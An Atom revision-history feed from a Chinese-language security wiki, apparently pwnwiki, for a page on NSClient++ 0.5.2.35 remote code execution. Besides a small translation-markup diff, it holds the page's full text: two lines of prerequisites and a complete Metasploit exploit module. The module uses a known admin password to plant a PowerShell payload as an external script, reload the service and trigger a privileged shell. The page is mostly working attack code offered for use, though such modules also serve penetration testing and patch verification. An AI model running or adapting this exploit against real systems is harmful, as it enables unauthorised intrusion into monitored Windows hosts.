<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=NSClient%2B%2B_0.5.2.35_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>NSClient++ 0.5.2.35 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=NSClient%2B%2B_0.5.2.35_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=NSClient%2B%2B_0.5.2.35_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-08T16:48:07Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=NSClient%2B%2B_0.5.2.35_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=4746&amp;oldid=prev</id>
		<title>Pwnwiki: Marked this version for translation</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=NSClient%2B%2B_0.5.2.35_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=4746&amp;oldid=prev"/>
		<updated>2021-06-11T08:28:08Z</updated>

		<summary type="html">&lt;p&gt;Marked this version for translation&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 08:28, 11 June 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l2&quot; &gt;Line 2:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 2:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==前提條件==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==前提條件== &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;!--T:1--&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;!--T:2--&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;要使此模塊工作，應啟用 NSClient++ 的 Web 界面和 ExternalScripts 功能。&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;要使此模塊工作，應啟用 NSClient++ 的 Web 界面和 ExternalScripts 功能。&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key pwn_wiki:diff::1.12:old-4745:rev-4746 --&gt;
&lt;/table&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=NSClient%2B%2B_0.5.2.35_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=4745&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;languages /&gt;  &lt;translate&gt; ==前提條件== &lt;/translate&gt; &lt;translate&gt; 要使此模塊工作，應啟用 NSClient++ 的 Web 界面和 ExternalScripts 功能。 &lt;/translate&gt;  ==E...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=NSClient%2B%2B_0.5.2.35_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=4745&amp;oldid=prev"/>
		<updated>2021-06-11T08:27:15Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;languages /&amp;gt;  &amp;lt;translate&amp;gt; ==前提條件== &amp;lt;/translate&amp;gt; &amp;lt;translate&amp;gt; 要使此模塊工作，應啟用 NSClient++ 的 Web 界面和 ExternalScripts 功能。 &amp;lt;/translate&amp;gt;  ==E...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==前提條件==&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
要使此模塊工作，應啟用 NSClient++ 的 Web 界面和 ExternalScripts 功能。&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
  Rank = ExcellentRanking&lt;br /&gt;
&lt;br /&gt;
  include ::Msf::Exploit::Remote::HttpClient&lt;br /&gt;
  include ::Msf::Exploit::CmdStager&lt;br /&gt;
  include ::Msf::Exploit::Powershell&lt;br /&gt;
  prepend ::Msf::Exploit::Remote::AutoCheck&lt;br /&gt;
  include ::Rex::Text&lt;br /&gt;
&lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(&lt;br /&gt;
      update_info(&lt;br /&gt;
        info,&lt;br /&gt;
        'Name' =&amp;gt; 'NSClient++ 0.5.2.35 - ExternalScripts Authenticated Remote Code Execution',&lt;br /&gt;
        'Description' =&amp;gt; %q{&lt;br /&gt;
          This module allows an attacker with knowledge of the admin password of NSClient++&lt;br /&gt;
          to start a privilege shell.&lt;br /&gt;
          For this module to work, both web interface of NSClient++ and `ExternalScripts` feature&lt;br /&gt;
          should be enabled.&lt;br /&gt;
        },&lt;br /&gt;
        'License' =&amp;gt; MSF_LICENSE,&lt;br /&gt;
        'Author' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            'kindredsec', # POC on www.exploit-db.com&lt;br /&gt;
            'Yann Castel (yann.castel[at]orange.com)' # Metasploit module&lt;br /&gt;
          ],&lt;br /&gt;
        'References' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            ['EDB', '48360']&lt;br /&gt;
          ],&lt;br /&gt;
        'Platform' =&amp;gt; %w[windows],&lt;br /&gt;
        'Arch' =&amp;gt; [ARCH_X64],&lt;br /&gt;
        'Targets' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            [&lt;br /&gt;
              'Windows',&lt;br /&gt;
              {&lt;br /&gt;
                'Arch' =&amp;gt; [ARCH_X86, ARCH_X64],&lt;br /&gt;
                'Type' =&amp;gt; :windows_powershell&lt;br /&gt;
              }&lt;br /&gt;
            ]&lt;br /&gt;
          ],&lt;br /&gt;
        'Privileged' =&amp;gt; true,&lt;br /&gt;
        'DisclosureDate' =&amp;gt; '2020-10-20',&lt;br /&gt;
        'DefaultTarget' =&amp;gt; 0,&lt;br /&gt;
        'Notes' =&amp;gt;&lt;br /&gt;
          {&lt;br /&gt;
            'Stability' =&amp;gt; [ CRASH_SAFE ],&lt;br /&gt;
            'SideEffects' =&amp;gt; [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],&lt;br /&gt;
            'Reliability' =&amp;gt; [ REPEATABLE_SESSION ]&lt;br /&gt;
          },&lt;br /&gt;
        'DefaultOptions' =&amp;gt; { 'SSL' =&amp;gt; true }&lt;br /&gt;
      )&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    register_options [&lt;br /&gt;
      Opt::RPORT(8443),&lt;br /&gt;
      OptString.new('PASSWORD', [true, 'Password to authenticate with on NSClient web interface', nil])&lt;br /&gt;
    ]&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def configure_payload(token, cmd, key)&lt;br /&gt;
    print_status('Configuring Script with Specified Payload . . .')&lt;br /&gt;
&lt;br /&gt;
    plugin_id = rand(1..10000).to_s&lt;br /&gt;
&lt;br /&gt;
    node = {&lt;br /&gt;
      'path' =&amp;gt; '/settings/external scripts/scripts',&lt;br /&gt;
      'key' =&amp;gt; key&lt;br /&gt;
    }&lt;br /&gt;
    value = { 'string_data' =&amp;gt; cmd }&lt;br /&gt;
    update = { 'node' =&amp;gt; node, 'value' =&amp;gt; value }&lt;br /&gt;
    payload = [&lt;br /&gt;
      {&lt;br /&gt;
        'plugin_id' =&amp;gt; plugin_id,&lt;br /&gt;
        'update' =&amp;gt; update&lt;br /&gt;
      }&lt;br /&gt;
    ]&lt;br /&gt;
    json_data = { 'type' =&amp;gt; 'SettingsRequestMessage', 'payload' =&amp;gt; payload }&lt;br /&gt;
&lt;br /&gt;
    r = send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'POST',&lt;br /&gt;
      'data' =&amp;gt; JSON.generate(json_data),&lt;br /&gt;
      'headers' =&amp;gt; { 'TOKEN' =&amp;gt; token },&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri('/settings/query.json')&lt;br /&gt;
    })&lt;br /&gt;
&lt;br /&gt;
    if !(r&amp;amp;.body.to_s.include? 'STATUS_OK')&lt;br /&gt;
      print_error('Error configuring payload. Hit error at: ' + endpoint)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    print_status('Added External Script (name: ' + key + ')')&lt;br /&gt;
    sleep(3)&lt;br /&gt;
    print_status('Saving Configuration . . .')&lt;br /&gt;
    header = { 'version' =&amp;gt; '1' }&lt;br /&gt;
    payload = [ { 'plugin_id' =&amp;gt; plugin_id, 'control' =&amp;gt; { 'command' =&amp;gt; 'SAVE' } } ]&lt;br /&gt;
    json_data = { 'header' =&amp;gt; header, 'type' =&amp;gt; 'SettingsRequestMessage', 'payload' =&amp;gt; payload }&lt;br /&gt;
&lt;br /&gt;
    send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'POST',&lt;br /&gt;
      'data' =&amp;gt; JSON.generate(json_data),&lt;br /&gt;
      'headers' =&amp;gt; { 'TOKEN' =&amp;gt; token },&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri('/settings/query.json')&lt;br /&gt;
    })&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def reload_config(token)&lt;br /&gt;
    print_status('Reloading Application . . .')&lt;br /&gt;
&lt;br /&gt;
    send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'GET',&lt;br /&gt;
      'headers' =&amp;gt; { 'TOKEN' =&amp;gt; token },&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri('/core/reload')&lt;br /&gt;
    })&lt;br /&gt;
&lt;br /&gt;
    print_status('Waiting for Application to reload . . .')&lt;br /&gt;
    sleep(10)&lt;br /&gt;
    response = false&lt;br /&gt;
    count = 0&lt;br /&gt;
    until response&lt;br /&gt;
      begin&lt;br /&gt;
        sleep(2)&lt;br /&gt;
        r = send_request_cgi({&lt;br /&gt;
          'method' =&amp;gt; 'GET',&lt;br /&gt;
          'headers' =&amp;gt; { 'TOKEN' =&amp;gt; token },&lt;br /&gt;
          'uri' =&amp;gt; normalize_uri('/')&lt;br /&gt;
        })&lt;br /&gt;
        if !r.body.empty?&lt;br /&gt;
          response = true&lt;br /&gt;
        end&lt;br /&gt;
      rescue StandardError&lt;br /&gt;
        count += 1&lt;br /&gt;
        if count &amp;gt; 10&lt;br /&gt;
          fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')&lt;br /&gt;
        end&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def trigger_payload(token, key)&lt;br /&gt;
    print_status('Triggering payload, should execute shortly . . .')&lt;br /&gt;
&lt;br /&gt;
    send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'GET',&lt;br /&gt;
      'headers' =&amp;gt; { 'TOKEN' =&amp;gt; token },&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(&amp;quot;/query/#{key}&amp;quot;)&lt;br /&gt;
    })&lt;br /&gt;
  rescue StandardError =&amp;gt; e&lt;br /&gt;
    print_error(&amp;quot;Request could not be sent. #{e.class} error raised with message '#{e.message}'&amp;quot;)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def external_scripts_feature_enabled?(token)&lt;br /&gt;
    r = send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'GET',&lt;br /&gt;
      'headers' =&amp;gt; { 'TOKEN' =&amp;gt; token },&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri('/registry/control/module/load'),&lt;br /&gt;
      'vars_get' =&amp;gt; { 'name' =&amp;gt; 'CheckExternalScripts' }&lt;br /&gt;
    })&lt;br /&gt;
&lt;br /&gt;
    r&amp;amp;.body.to_s.include? 'STATUS_OK'&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def get_auth_token&lt;br /&gt;
    r = send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'GET',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri('/auth/token?password=' + datastore['PASSWORD'])&lt;br /&gt;
    })&lt;br /&gt;
&lt;br /&gt;
    if r.code == 200&lt;br /&gt;
      begin&lt;br /&gt;
        auth_token = r.body.to_s[/&amp;quot;auth token&amp;quot;: &amp;quot;(\w*)&amp;quot;/, 1]&lt;br /&gt;
        return auth_token&lt;br /&gt;
      rescue StandardError&lt;br /&gt;
        :no_token_found&lt;br /&gt;
      end&lt;br /&gt;
    else&lt;br /&gt;
      :wrong_password&lt;br /&gt;
    end&lt;br /&gt;
  rescue StandardError&lt;br /&gt;
    :failed_to_connect&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check&lt;br /&gt;
    token = get_auth_token&lt;br /&gt;
&lt;br /&gt;
    if token == :failed_to_connect&lt;br /&gt;
      CheckCode::Safe(&amp;quot;Can't access to NSClient web interface, maybe the web interface is not activated or something is wrong with the targeted host&amp;quot;)&lt;br /&gt;
    elsif token == :wrong_password&lt;br /&gt;
      CheckCode::Unknown('Unable to connect to NSClient web interface because the admin password given is wrong')&lt;br /&gt;
    elsif token == :no_token_found&lt;br /&gt;
      CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')&lt;br /&gt;
    else&lt;br /&gt;
      print_good('Got auth token: ' + token)&lt;br /&gt;
      if external_scripts_feature_enabled?(token)&lt;br /&gt;
        CheckCode::Vulnerable('External scripts feature enabled !')&lt;br /&gt;
      else&lt;br /&gt;
        CheckCode::Safe('External scripts feature disabled !')&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def exploit&lt;br /&gt;
    cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)&lt;br /&gt;
    token = get_auth_token&lt;br /&gt;
&lt;br /&gt;
    if token != :failed_to_connect &amp;amp;&amp;amp; token != :wrong_password &amp;amp;&amp;amp; token != :no_token_found&lt;br /&gt;
      rand_key = rand_text_alpha_lower(10)&lt;br /&gt;
      configure_payload(token, cmd, rand_key)&lt;br /&gt;
      reload_config(token)&lt;br /&gt;
      token = get_auth_token # reloading the app might imply the need to create a new auth token as the former could have been deleted&lt;br /&gt;
      trigger_payload(token, rand_key)&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>